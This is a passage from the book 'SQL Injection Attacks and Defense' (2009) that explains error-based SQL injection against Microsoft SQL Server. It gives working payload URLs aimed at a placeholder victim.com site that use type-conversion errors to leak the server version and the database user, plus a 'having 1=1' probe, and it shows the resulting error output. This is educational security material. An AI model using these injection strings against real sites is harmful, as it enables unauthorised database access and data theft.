SQL Injection Attacks and Defense - 2009

SELECT *
FROM products
WHERE idproduct=attacker
Testing for SQL Injection • Chapter 2 43
The SQL server understands that if the value is not a number it must be a column name.
In this case, the server looks for a column called attacker within the products table. However,
there is no column named attacker, and therefore it returns an error.
There are some techniques that you can use to retrieve information embedded in the
errors returned from the database. The first one generates an error converting a string to an
integer:
http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/@@version;--
Application response:
Server Error in '/' Application.
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 –
8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft
Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: ) ' to a
column of data type int.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
The database reported an error, converting the result of @@version to an integer and
displaying its contents. This technique abuses the type conversion functionality in SQL Server.
We sent 0/@@version as part of our injected code. As a division operation needs to be executed
between two numbers, the database tries to convert the result from the @@version function
into a number. When the operation fails the database displays the content of the variable.
You can use this technique to display any variable in the database. The following
example uses this technique to display the user variable:
http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/user;--
Application response:
Syntax error converting the nvarchar value 'dbo' to a column of data type
int.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
There are also techniques to display information about the statement executed by the
database, such as the use of having 1=1:
http://www.victim.com/showproducts.aspx?category=bikes' having 1'='1